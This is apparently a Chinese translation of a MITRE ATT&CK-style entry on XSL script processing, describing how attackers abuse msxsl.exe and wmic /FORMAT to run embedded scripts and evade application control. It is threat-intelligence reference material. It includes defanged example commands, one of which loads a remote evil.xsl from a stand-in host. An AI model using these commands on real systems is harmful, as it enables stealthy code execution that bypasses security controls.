XSL脚本处理
攻击者可能通过在XSL文件中嵌入脚本来绕过应用程序控制并隐藏代码执行。可扩展样式表语言(XSL)文件通常用于描述XML文件中的数据处理和呈现。为了支持复杂操作,XSL标准包括对嵌入多种语言脚本的支持。(引用:Microsoft XSLT Script Mar 2017) 攻击者可能滥用此功能来执行任意文件,同时可能绕过应用程序控制。类似于受信任的开发人员实用程序代理执行,Microsoft命令行转换实用程序二进制文件(msxsl.exe)(引用:Microsoft msxsl.exe)可以安装并用于执行嵌入在本地或远程(URL引用)XSL文件中的恶意JavaScript。(引用:Penetration Testing Lab MSXSL July 2017)由于msxsl.exe默认未安装,攻击者可能需要将其与丢弃的文件一起打包。(引用:Reaqta MSXSL Spearphishing MAR 2018)Msxsl.exe接受两个主要参数,一个XML源文件和一个XSL样式表。由于XSL文件是有效的XML,攻击者可能会两次调用相同的XSL文件。使用msxsl.exe时,攻击者还可能为XML/XSL文件指定任意文件扩展名。(引用:XSL Bypass Mar 2019) 命令行示例:(引用:Penetration Testing Lab MSXSL July 2017)(引用:XSL Bypass Mar 2019) * msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
此技术的另一种变体称为“Squiblytwo”,涉及使用Windows管理工具在XSL文件中调用JScript或VBScript。(引用:LOLBAS Wmic)此技术还可以执行本地/远程脚本,并且类似于其Regsvr32/“Squiblydoo”对应物,利用受信任的内置Windows工具。攻击者可能滥用Windows管理工具中的任何别名,只要他们使用/FORMAT开关。(引用:XSL Bypass Mar 2019) 命令行示例:(引用:XSL Bypass Mar 2019)(引用:LOLBAS Wmic) * 本地文件:wmic process list /FORMAT:evil[.]xsl
* 远程文件:wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”